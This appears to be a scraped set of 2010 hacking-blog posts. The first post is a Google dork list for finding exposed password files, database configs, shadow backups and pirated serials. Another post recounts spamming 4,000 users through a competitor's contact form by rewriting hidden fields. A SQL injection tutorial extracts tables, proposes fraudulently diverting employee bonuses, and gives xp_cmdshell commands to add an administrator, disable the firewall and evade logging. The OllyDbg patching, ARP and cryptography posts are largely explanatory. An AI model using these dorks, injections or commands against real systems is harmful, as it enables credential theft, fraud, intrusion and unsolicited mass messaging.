-opendivx -md5 -md5sums * "parent directory " MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums * "parent directory " Name of Singer or album” -xxx -html -htm -php -shtml -opendivx -md5 -md5sums Music (this is already posted in another thread) You only need add the name of the song/artist/singer. * Example: intitle:index.of mp3 jackson CD Images * inurl:microsoft filetype:iso * You can change the string to whatever you want, ex. Microsoft to Adobe, .iso to .zip etc… Passwords * "# -FrontPage-" inurl:service.pwd FrontPage passwords.. very nice clean search results listing !! * "AutoCreate=TRUE password=" This searches the password for "Website Access Analyzer", a Japanese software that creates webstatistics. For those who can read Japanese, check out the author's site at: http://www.coara.or.jp/~passy/ Passwords in the URL "http://:@www" domainname This is a query to get inline passwords from search engines (not just Google), you must type in the query followed with the domain name without the .com or .net * "http://:@www" gamespy or http://:@www”gamespy * Another way is by just typing "http://bob:bob@www" IRC Passwords * "sets mode: +k" This search reveals channel keys (passwords) on IRC as revealed from IRC chat logs. * eggdrop filetype:user user These are eggdrop config files. Avoiding a full-blown discussion about eggdrops and IRC bots, suffice it to say that this file contains usernames and passwords for IRC users. Access Database Passwords * allinurl: admin mdb Not all of these pages are administrator's access databases containing usernames, passwords and other sensitive information, but many are! DCForum Passwords * allinurl:auth_user_file.txt DCForum's password file. This file gives a list of (crackable) passwords, usernames and email addresses for DCForum and for DCShop (a shopping cart program(!!!). Some lists are bigger than others, all are fun, and all belong to googledorks. MySQL Passwords * intitle:"Index of" config.php * This search brings up sites with "config.php" files. To skip the technical discussion, this configuration file contains both a username and a password for an SQL database. Most sites with forums run a PHP message base. This file gives you the keys to that forum, including FULL ADMIN access to the database. The ETC Directory * intitle:index.of.etc * This search gets you access to the etc directory, where many, many, many types of password files can be found. This link is not as reliable, but crawling etc directories can be really fun! Passwords in backup files filetype:bak inurl:"htaccess\|passwd\|shadow\|htusers " This will search for backup files (.bak) created by some editors or even by the administrator himself (before activating a new version). Every attacker knows that changing the extension of a file on a web server can have ugly consequences. Serial Numbers Let's pretend you need a serial number for Windows XP Pro. * In the Google search bar type in just like this - "Windows XP Professional" 94FBR * the key is the 94FBR code.. it was included with many MS Office registration codes so this will help you dramatically reduce the amount of 'fake' sites (usually pornography) that trick you. * or if you want to find the serial for WinZip 8.1 - "WinZip 8.1" 94FBR These are only a sample of some of the fun things you can do with the wrong kind of Google search. Such strings return very random results, and are of very little use for targeted attacks. But for random hacking of peoples Frontpage password's, it's priceless. * inurl:(service \| authors \| administrators \| users) ext:pwd "# -FrontPage-"
Cast your vote on this article-

Hacking the DOM of a site using Superscript

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 18:40:00 +0000



For this Article, I will be using the program I've created specifically for doing this... webDOMinator 1.0. Intro The scripting standard that I'm using is my own language I created for performing super-scripting on web pages. Super-scripting allows you direct access to change and read elements from the Document Object Model (or DOM) of a web page that you're viewing. The coding language has been dubbed "Minion" because it's like having a little programmed minion to do your bidding online. I call it a super-scripting language because it's not a script that exists inside of the web browser being used, it exists outside, and can control the browser and what is inside of it as well. Let's look at an example of a simple minion script just to show you how it works. CODE : `navigate:www.google.com click:dom.a.Images pagewait dom.input.q.value=monkey foo submit:dom.form.1` This code is not really that useful to me, but it serves the purpose of it's example. The first line navigate:www.google.com simply does what it looks like it does... navigates the web browser to google. The second line makes the system click on the "Images" link in the DOM structure. The third line tells webDOM to wait for the page to load before performing the next action. Why did I not need this between the first and second lines too? Because the system automatically figures on a navigate command, that it will be waiting until the next page to load to perform the next action. The fourth line is a property setting. It tells webDOM to change the value property of the dom element dom.input.q to be equal to "monkey foo". I'll explain how this works in a bit. The fourth line of course, submits the first form on the page. Now your question might be: Why do you use two different ways to reference or access a DOM element? Well, that's simple, webDOM has the ability to reference DOM elements both by their name, and by their sequential index in the DOM list for that element type. In the above example code, I say CODE : `dom.input.q.value` , and that is a direct reference to the value property of the input element named q. Dom is simply to specify that I want to use something from the web page DOM that the browser is currently on. A Working Example The Situation Now let's look at how this tool can be applied to a real world task. I have a client, who's name I will not disclose, but they needed some free advertising... they wanted to do an e-mail campaign spam. The way they had been doing it was that they would go out and find e-mail addresses of counselors listed on edu websites and putting those into an excel sheet, etc. etc... in other words, the really slow manual way. I decided to start collecting e-mails for them. I used siteBore to get a majority of the e-mails from certain websites within their target market, (siteBore is webDOM's information gathering spider... scrapes pages for DOM info or e-mails in a spidering environment.) There were a couple of specific sites that I found that did not list e-mails, but had thousands of people in my target market. Instead, since these people needed to be contacted directly by the public as part of their job and the services of that site, the website decided to offer a messaging system that included a form for messaging. They also had an index of different states in the country that had lists of all of their users. The Attack Plan So, using the other tools in webDOM like it's automated user list population tool, and it's mass PMing system, I started gathering a large list of about 4,000 of their users. After I started trying to send messages to them, I noticed that I could not change the subject of the message. This was a hidden field on the message form and it was set to something like "A Contact on x.com needs your help". Not only that, but I couldn't change the name of the contact, it just said: "x.com contact form". I figured that if I was advertising services for their competitors using their own message forms, that the target market would not be set up to receive the message in the right context, that of a better alternative :). So I simply wrote a script that changed that element of the form, since it was provided in the DOM tree :). By the way, this is an example of lazy programmers once again. They could've easily just changed the form for non-logged in users to not include the subject and contact, then include it later on in the code. But oh well, their loss. Anyway, here's the code I used: CODE : click:dom.a.Email me pagewait dom.input.your_name.value = xxxx.com dom.input.your_email.value = xxxx@xxxx.com dom.input.your_email1.value = xxxx@xxxx.com dom.input.your_phone.value = xxx.xxx.xxxx dom.input.subject.value = xxxx dom.textarea.1.innerhtml = Hello, my name is xxxx and I'm inviting you to come be part of a xxxx website. We are currently in beta testing and we need people to help test our our features including: xxxx, xxxx, xxxx and xxxx, plus a growing community of clients and professionals like you... Currently, we're working on growing our provider base and would be pleased if you joined us for the open beta test of our system. Go to www.xxxx.com and sign up for a free account to check us out and start offering xxxx from anywhere you want. click:dom.input.8 Since both the subject and name were not available, and they also had an e-mail confirmation line, something that webDOM does not just have as part of it's normal PMing tool, I just used code to perform all of the actions needed. I clicked "PM All" and viola! worked like a charm. I could even watch the progress, and what the bot was actually doing on the site. Success! Only took a matter of about 2 hours to send out all 4,000 messages, and it turned out that we got about 14 user signups from it. About a 0.35% conversion ratio, which is decent enough on a spam campaign... needless to say, it was free advertising :) What's even funnier, my client actually got a call from the other website's owner who was infuriated about the whole thing. Guess he doesn't like to be DOMinated... Go figure. What's More Either way, you can use super-scripting to manipulate any website you choose, in a very repetitive, and programmatic way. I've seen some websites that don't except POST information from external websites. Well the way to get around that is simply use their form, but add or subtract the elements that you need in order to do what you want with them. Other things I use the minion coding and webDOM for are building online profiles, adding friends, sending messages, etc. etc. These sites are constantly updating security, but nobody expects such a strong tool to be used on their site. For instance, one flimsy defense they use is Ajax, or using java<b></b>script code and hidden submits. webDOM can see past all of this, and see exactly what you can see on it's browser window. Since your access to the DOM is in real-time and not set up only once at the loading of a page, you can literally manipulate anything. I've even seen websites try to do things like using "div" elements to capture onclick events instead of providing a link for posting a message... well, fine... I can access the div element and change it or click on it directly from the super-script, no problem. All in all, super-scripting is a powerful new medium that will continue to surpass the security of websites until they come up with a completely new standard for building sites, that doesn't use HTML. Amit Tyagi

OllyDbg with .chm help - how to add functionality to a closed-source application

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 18:37:00 +0000

Intro-

OllyDbg - the best ring3 debugger ever :) - has a very handy feature: if you give Olly the path of the Win32 API documentation, you can get info on an API function by highlighting it, and pressing CTRL+F1. Well, this works fine on XP, but it doesn't work on Vista. Why? As you may already know, Microsoft made .hlp help files deprecated since Vista. Instead, the .chm format is recommended. Olly uses the WinHelp API (this function is used to open .hlp helps) to open the API documentation. When a program uses WinHelp on Vista (or you just simply try to open a .hlp file), a window pops up that tells you, that .hlp is dead and buried. Vista is good, CTRL+F1 is good too, so something had to be done.. Yeah, well, I could just simply download WinHlp32.exe for Vista, but hey, what's the fun in that? :)

.hlp to .chm

First, I did the boring part of the job: I converted the Win32 API .hlp file to .chm format. This can be done with two free tools: HelpDeco and HTML Help Workshop. Uncompress the .hlp file...

CODE :

helpdeco.exe win32.hlp /y

... and generate a content file:

CODE :

helpdeco.exe win32.hlp /y /c

When this is done, start a new project in HTML Help Workshop, and check the Convert WinHelp project checkbox. From now on, just follow the wizard, and your reward will be a brand new, shiny .chm file!

Let's code!

There is an API function similar to WinHelp which deals with .chm help files: HtmlHelp. So, my plan was simple:
1. write a function, that wraps HtmlHelp, so it can be called with the same parameters as WinHelp
2. find a code cave (a bunch of 0x00 bytes) in Olly, and insert the wrapper there
3. replace all WinHelp calls with a call to my wrapper.

Indeed, I could write the wrapper function inside Olly into the code cave, but I choose a more comfortable way. I fired up WinASM, and wrote the function and a little framework to test it. Here is the source code of the function:

CODE :

MyWinHelp proc hWndMain:HWND, lpszHelp:LPCTSTR, uCommand:UINT, dwData:DWORD LOCAL aklink:HH_AKLINK .if uCommand == HELP_PARTIALKEY mov aklink.cbStruct, sizeof(HH_AKLINK) mov aklink.fReserved, FALSE mov eax, dwData mov aklink.pszKeywords, eax mov aklink.pszUrl, NULL mov aklink.pszMsgText, NULL mov aklink.pszMsgTitle, NULL mov aklink.pszWindow, NULL mov aklink.fIndexOnFail, TRUE invoke HtmlHelp, hWndMain, lpszHelp, HH_KEYWORD_LOOKUP, addr aklink .elseif uCommand == HELP_CONTEXT invoke HtmlHelp, hWndMain, lpszHelp, HH_HELP_CONTEXT, dwData .elseif uCommand == HELP_INDEX invoke HtmlHelp, hWndMain, lpszHelp, HH_DISPLAY_INDEX, 0 .endif ret MyWinHelp endp

The WinHelp function's uCommand parameter can have a lot of values; I implemented only the ones, that occur in Olly (HELP_PARTIALKEY, HELP_CONTEXT and HELP_INDEX).

OK, I got the wrapper, I had to insert it into Olly. I opened the above mentioned framework in Olly, highlighted the wrapper, and copied the opcodes to the clipboard with the Asm2Clipboard plugin. Then, I opened Olly in - guess what - another instance of Olly, did a little digging to find a code cave, and binary pasted the content of the clipboard. NOTE: I have cheated a bit with the code below. It doesn't look like this right after inserting it; a few adjustments have to be made. I'll explain these changes later.

CODE :

The wrapper uses HtmlHelp which is exported by HHCtrl.ocx. This file is not loaded by Olly, so I had to load it, and get the address of the HtmlHelp API function. This piece of code is quite simple, so I didn't use WinASM this time.

CODE :

004AF6BC . A1 1B014B00 MOV EAX,DWORD PTR DS:[4B011B] 004AF6C1 . 90 NOP 004AF6C2 . 60 PUSHAD 004AF6C3 . 68 80F64A00 PUSH Lbr68_-_.004AF680 ; /FileName = "HHCtrl.ocx" 004AF6C8 . E8 6BFAFFFF CALL <JMP.&KERNEL32.LoadLibraryA> ; \LoadLibraryA 004AF6CD . 68 8BF64A00 PUSH Lbr68_-_.004AF68B ; /ProcNameOrOrdinal = "HtmlHelpA" 004AF6D2 . 50 PUSH EAX ; |hModule = 764C36C4 004AF6D3 . E8 B8F9FFFF CALL <JMP.&KERNEL32.GetProcAddress> ; \GetProcAddress 004AF6D8 . A3 95F64A00 MOV DWORD PTR DS:[4AF695],EAX ; kernel32.BaseThreadInitThunk 004AF6DD . 61 POPAD 004AF6DE .^ E9 3419F5FF JMP Lbr68_-_.00401017

A little explanation: instructions through 0x004AF6C3 to 0x004AF6D3 load HHCtrl.ocx and get the address of the HtmlHelp function. Two APIs are used to achieve this task: LoadLibrary and GetProcAddress. If I assemble the call of these functions in Olly as CALL LoadLibrary and CALL GetProcAddress, Olly will use their actual address. This can be a problem, because the actual address of API's can vary (e.g.: ASLR, different version of OS). The problem can be eliminated by calling the APIs through the jump thunk table. So, I had to find the functions in the jump thunk table, and CALL those addresses (e.g. instead of CALL LoadLibrary, I had to assemble CALL 4AF138):

CODE :

004AF138 $- FF25 B4D35000 JMP DWORD PTR DS:[<&KERNEL32.LoadLibraryA>] ; kernel32.LoadLibraryA

There are some instructions, I haven't explained yet, so let's move on! The instruction at 0x004AF6BC was originally located near the entry point of Olly. I've replaced it with the JMP, which jumps to this piece of code, so I had to insert it here. Here is the JMP at near EP (at 0x00401012):

CODE :

0040100D E9 DB E9 0040100E . 28014B00 DD Lbr68_-_.004B0128 00401012 > E9 A5E60A00 JMP Lbr68_-_.004AF6BC 00401017 > C1E0 02 SHL EAX,2

The PUSHAD stores the values of the general purpose registers before my code runs, and the POPAD restores these values after my code. This is important, because a messed up register value could crash the program. The MOV at 0x004AF6D8 stores the address of HtmlHelp at address 0x004AF695 (this address is also located in the code cave). And now is the time to tell you more about the above mentioned adjustments to the wrapper code. All CALL HtmlHelp instructions had to be changed to CALL DWORD PTR[4AF695], because the address of HtmlHelp is stored at 0x004AF695. The last instruction, the JMP at 0x004AF6DE jumps back to near the entry point, from where we have jumped here earlier.

One more thing: we need the strings "HHCtrl.ocx" and "HtmlHelpA" to be able to load the library, and get the address of the function. Of course this is not a big deal, there are plenty of space in the code cave, so we can put them there:

CODE :

004AF680 . 48 48 43 74 72 6C 2E 6>ASCII "HHCtrl.ocx",0 004AF68B . 48 74 6D 6C 48 65 6C 7>ASCII "HtmlHelpA",0

If we save the modifications to the .exe, and try to run it, it will crash. Uh-oh, now what? Never fear, I is here (yeah, well.. who can tell me, which movie is this quote from? :) ). The code cave is in the .text section, which is a non-writable section, yet we try to write the address of HtmlHelp to 0x004AF695, which is indeed in the .text section. We can easily make .text section writable, there are a lot of tools capable of doing the job. Or it can be done manually, with a hex editor, but we are not masochists. At least, I am not, so I have used PEditor. Here is how to do it with that tool: open the .exe with PEditor, click on the sections button, right click on the .text section, choose edit section, than char. wizard. Now check the writeable checkbox, click on take it!, and you're ready.

Now the program runs normally. All we have to do is replace all WinHelp calls with a call to the wrapper. We could search for all WinHelps, and replace them with a CALL 4AF6EE (I have the wrapper at that address), but we are lazy, so we take another path. That path leads us to the jump thunk table. We search for WinHelp in the table, and replace the jump with a JMP 4AF6EE. Here I have done the change (at 0x004AF5FA):

CODE :

004AF5F4 $- FF25 90D95000 JMP DWORD PTR DS:[<&USER32.UpdateWindow>] ; USER32.UpdateWindow 004AF5FA E9 EF000000 JMP Lbr68_-_.004AF6EE 004AF5FF 90 NOP 004AF600 $- FF25 98D95000 JMP DWORD PTR DS:[<&USER32.WindowFromPoint>] ; USER32.WindowFromPoint

We can now save the modifications to the .exe, and we can enjoy our .chm-capable OllyDbg :)
Thank you for reading this stuff.

Amit Tyagi

ARP Poisoning-

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 18:31:00 +0000



Table of contents - Difference between a switch and a hub - What is ARP? - What is ARP Poisoning? Difference between a switch and a hub If you have a network running with a hub, there is no need for ARP Poisoning to sniff the network. Because if you send information over a hubbed network, all computers will receive the data. The hub gets the information, and sends it out on all ports. But, on a switched network only the destination computer gets the data. That means that your sniffer won't pick up anything, unless it is for you. The switch uses an addressing system called Media Access Control (MAC). Every computer has a MAC address. The switch holds and maintains a table that associates MAC addresses with certain ports, so that the info will only be sent to the given MAC address. A computer can not communicate with another computer before it has it's MAC address, simple as that. This is where the Address Resolution Protocol (ARP) comes in. What is ARP? Address Resolution Protocol (ARP) is a method for finding a host's MAC address when only the IP is known. If a computer wants to communicate with another computer over a network it will first see if it already knows the MAC address, if not it will send out a an ARP request in order get it. An ARP request is one of four types of messages in ARP. But the two main types is ARP request and ARP reply, which I will be covering in this article. The ARP request contains the senders MAC address and IP, and it requests the MAC address of the given IP. The reason that it is holding the senders MAC and IP, is so that the receiver can update his ARP cache with this information too, before he sends the reply with his MAC. Did I hear you ask what an ARP cache is? It is a temporary storage place on your computer that associates IP addresses of other computers with MAC addresses. What is ARP Poisoning? Now, if you want to sniff the network, you have to get the traffic to go through you. One way to do this is ARP Poisoning. The weakness is: All computers will accept an ARP reply, even if there never where an ARP request. In other words, you can send a customized ARP reply to your target computers, which will update their ARP cache with a new MAC address - yours. So when a computer wants to send something to another computer, it will find it's MAC address in the ARP cache based on the IP - that MAC address is now your MAC address. So when it sends something to the MAC address, it sends it to you. But keep in mind, you have to send the packets on, or you will end up with a DoS. Another thing you have to think of, is that from time to time the ARP cache of a computer gets flushed, if there is no traffic. So you have to send a new customized ARP reply to the targets like every 10th second or so, but this can be done automatically.

Cryptography- An Introduction

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 18:09:00 +0000

Cryptography- The VERY Basics

This guide is used for educational and learning purposes only. In some countries and states, encryption may be deemed illegal in your system of law, so make sure you research the government view on data encryption/decryption for your current location before trying anything mentioned in this guide.

Early on in the learning of cryptography, one may come across a very basic and easily decoded method of encryption: ASCII shifts or substitution. Substitution is generally taking a block of characters and replacing one character with another. For example:

CODE :

I LOVE HACKING

If you shifted each letter one step forward in the alphabet, this message would become:

CODE :

J MPWF IBDLJOH

This is probably the easiest method of encryption to decode, and should by no means used to hide or secure important data.

Now, we will attempt to decode another message of which I will not tell you the character shift amount of. We will go through it step by step in an attempt to decode it.

CODE :

S YPC YRRCKNRGLE RFC AMBC – CLB.

*The dash and period go unchanged.

At a first glance, this appears to be complete gibberish, but looking back we notice somebody may have some top secret information stored in this random jumble of letters. Our first step to solving the character shift is the letter E. Following the space, the letter E is the most commonly used letter in the English alphabet. Let us begin by picking this message apart. Look for the most common character that appears… which just so happens to be the letter C. Following the letter frequency count, this should mean that the letter C has replaced the letter E. So… replace every letter C with the letter E. I choose to start case-insensitive substitution decryptions in uppercase or make changes in bold so that any changes are apparent. This prevents changing an already changed character.

CODE :

S YPe YRReKNRGLE RFe AMBe – eLB.

Now, you have just completed your first step in decoding this message. If you have looked up a character frequency chart, you would now know that T is the next most used letter. R appears to be the next most used character… so replace it with T.

CODE :

S YPc YtteKNtGLE tFe AMBe – eLB.

Now, or occasionally after another character or two, you can probably decode the character shift value. You could have done this after the first decoded letter, but we were having too much fun and never thought about that, right?

From what we have seen so far, we can tell that, by looking at a numbered alphabetic chart, that the character offset is two values behind its original character. E became C and R became T. Now that you know the offset value, you can begin to decode the remaining parts of the message. In the end, the message works out to be:

CODE :

U ARE ATTEMPTING THE CODE – END.

Please excuse this… error-filled example, as I am not good at thinking up point-proving examples on the spot.

Another method you could use to uncover the substitutions for another letter is a commonly used word. After uncovering the substitutions for T and E, what word starts with T, ends with E, and is three letters? You guessed it - THE. Most of the time, if you notice that there are repeated tAe parts of encrypted characters, where A represents an encrypted character, the word is likely THE. This is practically the case for all of these occurrences if tAe appears multiple times… unless the encoder has a foot fetish and has encoded some dirty thoughts. If you thought I meant the word TOE at the beginning of this paragraph, you were horribly mistaken. THE is the most commonly used word, right after TO.

Although in my example, replacing F with H would only change one character in the entire text, which is practically useless in this example. For larger sentences, this could greatly aid you with reverting substitution. It provides you with another decoded character, and a complete word to help you make sense of a partially decrypted phrase.

As many of you may have pondered earlier on in this article, what if you substitute characters with a random pattern, rather than A -/+ N (where A is the letter and N is the character offset) constantly throughout the entire phrase. For example, one could replace the letter A with B, and C with X. This method is only just slightly more difficult to decode than a fixed character offset. You would just have to decode a large enough amount of characters to make sense of a word or phrase, then you can fill in that part of the message, revealing several more characters in the process.

Now, a slightly more challenging message to decode... but possible to do in several minutes. Give it a go and see if you can work it out yourself first. I will tell you now that I have a trick up my sleeve that many of you will have forgot about by this point in the article.

CODE :

5P XHVZGXEACJWXDCYXIBLM RXCK AX5P X73QFXRCN

Give up? What if I told you that I changed the space character? That is correct. I replaced the space character with a letter, and replaced a letter with the space character. Bet that threw you off, no? Try again now that you know that valuable piece of information. Another tiny little hint which will help if you get enough figured out - the phrase is used by some font developers to display their fonts.

Still stumped? All right, all right, I suppose I could give you another hint.

CODE :

SPACE = X

O = C

E = SPACE

As you probably have noticed now, O is the most common letter used in this phrase. I find that many small phrases or single words do not use the letter E as many times as a longer collection of words does.

This was a little more difficult, any some beginners may not have successfully decoded it, so here is a spoiler. Just for fun.

CODE :

THE QUICK BROWN FOX JUMPED OVER THE LAZY DOG

Well, hopefully this guide has taught the beginner cryptologists out there some new information. Possibly some more advanced people learned a fact or two, or could find an error in my article. Please post comments

Very Basic View On SQL Injections

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 18:02:00 +0000



Introduction- I've seen a lot of short tutorials on SQL injections and then again some which rivals the Great Wall of China in length, but I've very rarely seen a SQL injection tutorial based on an actual hack where things aren't always ideal. This guide will attempt to explain the very basics of SQL injections. This tutorial is written from a website created by a friend of mine which was loaded on my local host. After navigating around for a while I found something interesting http://localhost/news/display.asp?id=75 ------------------------------------------------------------------- Section 1 - A Quick Glance at SQL Statements ------------------------------------------------------------------- Anyone who's ever taken a look at SQL injections won't be surprised to know what I did next... http://localhost/news/display.asp?id=75' Unclosed quotation mark after the character string ''. So for all of you who don't know why I'm getting the error: The ID is passed (posted) to the SQL server and added in the query... SQL SELECT queries consists of 3 basic building blocks, 1) SELECT 2) FROM 3) WHERE SELECT is used to specify what information should be returned, usually column names are used here FROM specifies where the information that you want to select is contained, usually a table name WHERE is used to specify conditions, data will be only be selected if the data set matches the conditions. Let's take the following example of a table called "Demo" which consists of the columns, "ID", "Text", "Active" and "GROUP" TBLDEMO ID TEXT ACTIVE GROUP 1 First Result TRUE 0 2 Second Result FALSE 54 3 Third Result TRUE 54 4 Fourth Result FALSE 36 5 RAMBO FALSE 1 6 NULL TRUE 0 Now based on this information the query SELECT Text, ACTIVE, GROUP FROM TBLDEMO; Should produce the following results: First Result TRUE 0 Second Result FALSE 54 Third Result TRUE 54 Fourth Result FALSE 36 RAMBO FALSE 1 TRUE 0 Notice how "NULL" is not displayed at all... This is because a NULL value literally means nothing. 0 is an actual value, it means 1 less than 1 and 1 more than -1. This is a very very important difference to understand, since some columns are set to accept NULL values, while others don't! SELECT TEXT from TBLDEMO where Active = TRUE; First Result Third Result These are all the values for the column text WHERE the "ACTIVE" column has a value equal to TRUE. SELECT TEXT from TBLDEMO where Active <> False; Would produce the same result as in the example above. Got it? It's a lot like playing battleship, one player calls A4, based on the data in front of the other player a response of either "miss" or "hit" is generated. It's not always that easy though, SQL queries can become very very complicated, this is the absolute basics. ------------------------------------------------------------------- *Section 2 - Gathering the Information* ------------------------------------------------------------------- Finding a point of reference Carrying on from http://localhost/news/display.asp?id=75' Unclosed quotation mark after the character string ''. An educated guess would tell me that ID in the query string is used a sql query which goes something like this: SELECT title, author, description, synopsis, date FROM tblwhichcontainsNewsItems WHERE ID = X Where X is replaced with the value from the URL, Which means if I do this http://localhost/news/display.asp?id=75+HAVING 1=1-- Column 'NEWS.NewsID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. So what exactly did I achieve there? That, 'NEWS.NewsID' is the first column in the table NEWS So by adding GROUP BY NEWSID(http://localhost/news/display.asp?id=75+GROUP+BY+NEWSID+HAVING 1=1--) I receive a new error message and you guessed it, the second column in the NEWS table is given to me. ------------------------------------------------------------------- *Section 3 - Moving the point of reference* ------------------------------------------------------------------- Well that's great, but I doubt we'll be able to get anything remotely exciting in the news table, to be honest I'd rather watch Season 4 of House with commentary than stare at the info for a bunch of news articles, so what we need to do next is find other tables contained in the Database. Now we know the site has a sql injection vulnerability and we were already able to find the complete structure of one table, so by amending the sql query a bit, it spits out the info we need... So from here I try the query UNION SELECT name FROM sys objects... But now I get an error message, why? Each SQL statement within the UNION query must have the same number of fields in the result sets with similar data types. This is translated a bit from the original error message for a bit more clarity, I need to UNION with the same number of columns and these columns MUST match the same data types... Let's take a closer look at this based on the previous example: TBLDEMO ID TEXT ACTIVE GROUP 1 First Result TRUE 0 2 Second Result FALSE 54 3 Third Result TRUE 54 4 Fourth Result FALSE 36 5 RAMBO FALSE 1 6 NULL TRUE 0 TBLUNION ID TEXT UserID Username Password 1 First Result TRUE john john 2 Second Result FALSE mike mike 3 Third Result TRUE Larry Larry 4 Fourth Result FALSE Natasha Natasha 5 RAMBO FALSE Bruce Bruce 6 NULL TRUE Chuck Chuck So let's take the SQL query from the first example and add a union query to it: SELECT Text, ACTIVE, GROUP FROM TBLDEMO WHERE ID = X UNION SELECT Username,Password FROM TBLUNION So the first problem is that the first part of the query select 3 columns whilst the second part only select 2... We'll need to amend this so both "sides" of the union query select the same number of results SELECT Text, ACTIVE, GROUP FROM TBLDEMO WHERE ID = X UNION SELECT Username,Password,UserID FROM TBLUNION Now a new error, "Cannot convert...whatever" This is where data types comes into play, Compare the columns like so: TEXT USERNAME ACTIVE PASSWORD GROUP USERID If these columns are rewritten to display the type of data it can take it should like something like this: String String (Correct) Boolean String (Wrong) Integer Integer (Correct) So we should rewrite the query so the statements are the same in 1) NUMBER 2) DATA TYPE So what happens when a query select 7 columns but the table your trying to read from only has 3? Use the same column more than once... UNION SELECT TEXT,TEXT,TEXT,TEXT,TEXT,TEXT,TEXT FROM TBLDEMO; This is a perfectly valid SQL query, it will display the same info 7 times, but sometimes that's the easiest way to extract the information. Getting table names, continued... So from here let's carry on with the previous query and extract table names from the application. UNION SELECT name,name,name,name FROM sys objects. The page loads just fine when this UNION statement is added and the info isn't displayed anywhere on the page... Now we'll have to generate an error to get the info we require, this can be done in the same fashion as when extracting column names Having 1=1 and GROUP BY UNION SELECT name,name,name,name FROM sys objects HAVING 1 = 1 ------------------------------------------------------------------- Section 4 - In Closing ------------------------------------------------------------------- Now we receive the first table in the database, we could go on with GROUP BY and comma separate each result, but most web server only process requests up to that many characters then you start seeing 404 errors (Page not found) Most of your first results should be system tables, you can exclude these tables by adding where type = 'U' This will force the SQL query to only bring back results where the table was created by a user ie. NOT the default system tables... Carrying on like this (Yes I know it can be time consuming) you should be able to see each table in the database, if there are so many tables that you can't carry on and system tables are already excluded, look into the statement WHERE name NOT LIKE '%sometext%' I'm not going to go into detail on this since it is quite rare. So while digging I discovered the following interesting tables and the row's values in each table: Table name + column name Value returned Competition.CompetitionID 1 Competition.Name Apr-08 Competition.bankNo ###### Competition.Outstanding TRUE Competition.basevalue 4000 Competition.competition Employee of the month Competition.Winner John Doe Competition.WinnerID 34 Competition.TransactionStatus Pending Table name + column name Value returned Employees.ID 1 Employees.Name Bill Employees.Surname Gates Employees.Email bill@gmail.com Employee.Department Management Employees.DepartmentBuildingID 1 Employees.Branch Head Office Employees.Salary MASKED (some insane value) Empluyees.JobTitle CEO Employees.BankAccountNr 11111111 Employees.BankAccountName General Savings Employees.BankAccountCode 1534 Employees.LeaveDue 98 Employees.Phone Number 555-555 55 Employees.CellNumber 065 5452 54111 Employees.Address Some address So from this information I can deduce that there is a bonus paid to the employee of the month, so I wonder, what would happen if I create a new employee on the system, rig the database to pay the bonus to that employee and set up the bank account for this new employee as my own? The short answer: Unless you're really good with making money and people disappear, you'd get caught, which is something I'm not covering in this tutorial :) So anyway, by running a INSERT INTO Employees values [the values] statement and running this same statement on the Competition table, I should receive a large little bonus next month. I've explained the very basics of gathering the information required. Making changes in the DB, that's up to you, I've never been a fan of "here you go, now your an elite h4x0r" because it really makes script kiddies think they know everything. ------------------------------------------------------------------- Section 5 - Going further ------------------------------------------------------------------- This guide was written as a very basic introduction for those who are just starting out, but for those of who you are a bit further than getting names and data, I still wanted to include a few things so you too can gain from this article, I suggest you take a look at the following procedures: 1) Xp_cmdshell `net user foo bar /ADD' Xp_cmdshell `net localgroup /ADD Administrators foo 2)sp_makewebtask (Probably my all time favorite since so many sys admins block CMDShell and not Makewebtask) 3) XP_RegRead & XP_RegWrite [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] (Note if a hardware firewall is preventing the connection, this trick will not work) 4) SP_Password (Just to prevent logging :) ) Thanks for reading this tutorial, I consider it an "open source" article so feel free to copy, amend and reproduce it. :) Regards,

Cryptography - The Next Few Steps

noreply@blogger.com (Amit Tyagi) — Thu, 11 Nov 2010 17:56:00 +0000



So first off, for those of you looking for the very basics of cryptography, I would like to recommend taking a look at Arrexels article "Cryptography- The VERY Basics." It is a nice little article on a simple form of encrypting messages, though we will briefly go over this method here as well. Alright then! Cryptography is essentially the art of protecting information. It does so by changing the information into an unreadable form (as opposed to Steganography, which simply hides the existence of such information). One of the simplest ways to do this is what is called "Monoalphabetic Substitution." Monoalphabetic Substitution This form is what is described in Arrexels article. Essentially, the idea is to replace letters with other letters in a predetermined fashion. For instance, we can make a lookup table for encrypting and decrypting in this system like so: a b c d e f g h i j k l m n o p q r s t u v w x y z b c d e f g h i j k l m n o p q r s t u v w x y z a If we want to encrypt the word "plaintext," we first take the first letter, p, and look it up in the first row of our table, and find the letter right below it: q. So "p" becomes "q." Doing this lookup all the way through gives the encrypted form: "qmbjoufyu." To reverse the process, look at the second row of the table, and find the corresponding letter in the first row. This type of code is vulnerable to frequency analysis, and, more interestingly, things called Markov Chain Monte Carlo Methods . For computer security, it is therefore rather impractical. Polyalphabetic Substitution In the above example, only one ciphertext alphabet (as the second row above is called) was used. In the case of Polyalphabetic Substitution, more than one is used. One way to do this is to apply one alphabet to every other letter starting with the first one, and another alphabet for every other letter starting with the second. This may be a little confusing, so here is an example. First, let us make a pair of look up tables: a b c d e f g h i j k l m n o p q r s t u v w x y z b c d e f g h i j k l m n o p q r s t u v w x y z a and: a b c d e f g h i j k l m n o p q r s t u v w x y z c d e f g h i j k l m n o p q r s t u v w x y z a b where we want to encode "plaintext" again. So, we take the first letter "p", and look it up in the first lookup table. As before, it turns into "q." For the second letter, we use the second lookup table, turning "l" into "n." For the third letter, we use the first table again, and so on. Proceeding in this way we get: qnbkovfzu. As you can see, the letter "t" is encoded as a "v" in one place and a "u" in another. Naturally, this sort of code is more secure than Monoalphabetic Substitution. It is still, however, vulnerable to (modified) frequency analysis, and a version of the MCMC Methods. So again, it is rather impractical. Transposition Transposition is an entirely different type of beast altogether. With a transposition cipher, rather than changing letters to different letters with a lookup table, you just move the letters around. For instance, say we want to encrypt, as per usual, "plaintext." Let us write the word in, say, two columns: p t l e a x i t n Now, we simply read off the rows as our encrypted text. In this case, it would be: "pt le 